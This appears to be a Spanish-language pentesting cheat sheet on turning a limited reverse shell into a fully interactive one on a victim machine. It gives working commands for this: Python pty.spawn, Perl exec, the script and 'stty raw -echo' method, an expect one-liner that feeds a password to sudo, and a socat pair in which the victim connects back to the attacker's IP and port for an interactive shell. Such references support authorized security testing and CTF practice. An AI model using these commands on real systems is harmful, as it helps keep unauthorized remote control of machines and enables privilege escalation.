INFO
Todos los comandos usados en esta pagina sirven para pasar de una dumb shell a una shell interactiva. Si buscas como escapar de una sesión que abre un programa dirigete a Escape programs
Nos daremos cuenta que estamos en una dumb shell de la siguiente manera:
- CTRL+c
- El comando su/sudo nos devuelve un error del tipo: You need a proper terminal to run
- No puedes usar correctamente editores de texto como nano/vim
- No puedes usar tab para completar ni navegar por el historial con las flechas arriba/abajo
Entre otros, si es tu caso, puedes obtener una shell interactiva con cualquiera de los siguientes comandos
TIP
Al cambiar a una shell interactiva puede que quede más pequeña de lo que tu terminal ocupa y queden margenes negros en la los laterales y la parte inferior del terminal, si quieres corregir eso, antes de ejecutar ningun comando usa:
stty -aY recuerda el numero de filas y columnas, cuando tengas tu shell interactiva usa este comando para recuperar el tamaño completo:
stty rows filas columns columnas
TIP
Si ninguno de los comandos te funciona y necesitas usar sudo o cualquier utilidad que te pida una contraseña usa este comando
expect -c 'spawn sudo -S <COMANDO_A_EJECUTAR>;expect "*password*";send "<USER_PWD>";send "\r\n";interact'
WARNING
Sustituye <shell> por la shell que quieras usar (puedes comprobar si existe haciendo
cat /etc/shells), si no sabes cual usar, las siguientes están ordenadas por probabilidad de que existan:
- sh
- bash
- dash (En sistemas basados en Debian/Ubuntu)
- zsh
- ksh
- csh
Sistema
Los siguientes comandos son distintas formas de invocar una shell interactiva y deberían funcionar independientemente de las utilidades instaladas
echo os.system('/bin/<shell>')
/bin/<shell> -i
Python
TIP
Puede que el sistema no tenga python (generalmente python2) y que use python3, para comprobar si lo tiene usa python/python2/python3 —version y si alguno funciona ejecuta el comando cambiando python por la version que haya funcionado
python -c 'import pty; pty.spawn("/bin/<shell>")'Perl
perl -e 'exec "/bin/sh";'STTY
Este método puede resultar complejo, pero es bastante efectivo y no suele fallar.
Estando en la reverse shell
script /dev/null -qc /bin/bash
Presiona CTRL+Z, verás que la shell se ha mandado a bg, ejecuta los siguientes comandos
stty raw -echo && fg
Veras que vuelves a tener la reverse shell pero incompleta
reset
export SHELL=<shell>
export TERM=xterm-256color
Socat
WARNING
Este metodo de upgrade realiza una segunda conexión a la que luego se conecta con la shell interactiva, así que ten los siguientes puntos en mente:
- Usa un puerto que no esté en uso
- Puerto e IP son de la maquina atacante
Ejecuta este comando en la maquina atacante para escuchar en un puerto tcp
socat file:`tty`,raw,echo=0 tcp-listen:<puerto>Ejecuta este comando en la maquina victima, usando la ip del atacante y el puerto que has usado arriba
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<puerto>